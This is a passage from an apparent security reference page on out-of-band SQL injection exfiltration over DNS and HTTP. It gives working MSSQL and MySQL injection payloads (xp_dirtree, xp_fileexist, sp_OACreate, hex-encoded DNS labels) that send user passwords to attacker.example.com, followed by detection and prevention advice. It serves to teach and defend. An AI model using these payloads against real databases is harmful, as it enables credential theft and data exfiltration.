Out-of-Band Exfiltration
Making the database itself send data to a host you control, over DNS or HTTP. The answer arrives on a channel the application never sees.
Overview
Out-of-band (OAST) exfiltration sidesteps the application entirely. Rather than inferring data from response differences, you make the database perform a network lookup whose destination encodes the data. You then read the answer from your own DNS or HTTP logs.
Why it matters:
- Speed. A whole string per request instead of one bit. Orders of magnitude faster than blind inference.
- Reach. It works when the response is entirely uniform — asynchronous processing, fire-and-forget endpoints, background jobs where no HTTP response corresponds to your query at all.
- Firewall traversal. DNS resolution usually succeeds even where outbound HTTP is blocked, because internal resolvers forward recursively.
The cost is that it needs outbound network access from the database host and, usually, elevated privileges.
Why DNS Is the Preferred Channel
You encode data as a subdomain of a domain you control:
<data>.attacker.example.com
When the database resolves that name, the query walks the DNS hierarchy until it reaches your authoritative nameserver — which logs the full label. The data has left the network even though the database never opened a TCP connection to you.
DNS traverses egress filtering that stops everything else, because internal hosts nearly always reach a resolver, and that resolver forwards recursively to the internet.
Constraints to respect: a single DNS label is capped at 63 characters and the whole name at 253; the character set is restricted, so hex- or base32-encode anything that is not [a-z0-9-]; and caching means a repeated identical lookup may never reach you — vary the name.
Use Burp Collaborator, interactsh, or your own authoritative nameserver. Free public DNS-logging services put your client's data on someone else's server, which is rarely acceptable in an engagement.
Per-Engine Payloads
-- xp_dirtree triggers an SMB lookup, which requires resolving the host.
-- Best OOB primitive of any engine: no special config, and you often
-- capture a NetNTLM hash as a bonus.
'; DECLARE @d varchar(1024);
SELECT @d=(SELECT TOP 1 password FROM users);
EXEC('master..xp_dirtree "\\'+@d+'.attacker.example.com\x"')-- -
-- xp_fileexist and xp_subdirs behave the same way
'; EXEC master..xp_fileexist '\\test.attacker.example.com\x'-- -
-- Full HTTP exfil via OLE automation (needs sysadmin + Ole Automation enabled)
'; DECLARE @o INT, @r INT;
EXEC sp_OACreate 'MSXML2.XMLHTTP', @o OUT;
EXEC sp_OAMethod @o, 'open', NULL, 'GET',
'http://attacker.example.com/?d=data', 'false';
EXEC sp_OAMethod @o, 'send'-- -Encoding Data for DNS
Raw data rarely survives a DNS label. Passwords contain @, $, . and uppercase letters; hashes are long; labels cap at 63 characters.
Standard approach:
- Hex-encode. Every engine has a hex function (
HEX(),encode(…,'hex'),RAWTOHEX()). Output is[0-9a-f], which is always DNS-safe — at the cost of doubling the length. - Chunk to fit. Split into ≤63-character pieces with
SUBSTRING, and send one chunk per request with an index prefix so you can reassemble out of order. - Add a nonce. DNS caching will silently swallow a repeated identical query. Prefix each lookup with a counter or random value so every request is unique.
-- MySQL: chunk 1 of a hex-encoded password, with a nonce
SELECT CONCAT('c1-', SUBSTRING(HEX((SELECT password FROM users LIMIT 1)),1,40),
'.attacker.example.com')
Detecting OOB in Defence
OOB exfiltration is one of the more detectable attack patterns, because it leaves evidence in places attackers rarely think to clean:
- DNS query logs showing long, high-entropy subdomains from a database host. A database server performing thousands of unique lookups to one domain is not normal behaviour.
- Egress connections originating from a database server at all. Databases should rarely initiate outbound traffic.
- SMB connections outbound from a Windows SQL Server — almost always malicious.
Block it by denying the database host outbound network access except to what it genuinely needs, and by restricting its DNS resolution to an internal resolver that does not forward arbitrary external names.
Prevention
Parameterise to remove the injection.
To remove the channel, independently of any injection:
- Egress filtering. Database hosts should not reach the internet. This single control neutralises every payload on this page.
- Revoke the primitives. Drop
xp_dirtree,xp_fileexist, and thesp_OA*procedures on MSSQL. Do not grantUTL_HTTP,UTL_INADDR, orDBMS_LDAPtoPUBLICon Oracle. Do not installdblinkon PostgreSQL unless it is required. - Set
secure_file_privon MySQL to a directory, or toNULLto disable file access entirely. - Least privilege. Almost every payload here needs elevated database rights. An application account with plain
SELECT/INSERTon its own tables cannot run any of them.
Related
Manufacturing your own signal when the application reveals nothing at all: make the database pause, and read the answer from the clock.
Appending an entirely separate statement after the original. Where supported it turns a read-only injection into arbitrary write access — and often into code execution.
The routes from an injected query to a shell on the database host, and which engines hand it to you directly.
Mandatory FROM clauses, no LIMIT, no stacked queries, and uppercase identifiers — the engine where the most standard payloads fail for syntactic reasons.
Verbose errors, universal stacked-query support, and xp_cmdshell — the friendliest engine to attack and the one where escalation is most direct.
Parameterisation removes the bug; these layers limit the blast radius when a parameterisation is missed. Least privilege, allowlists, monitoring, and what each is actually worth.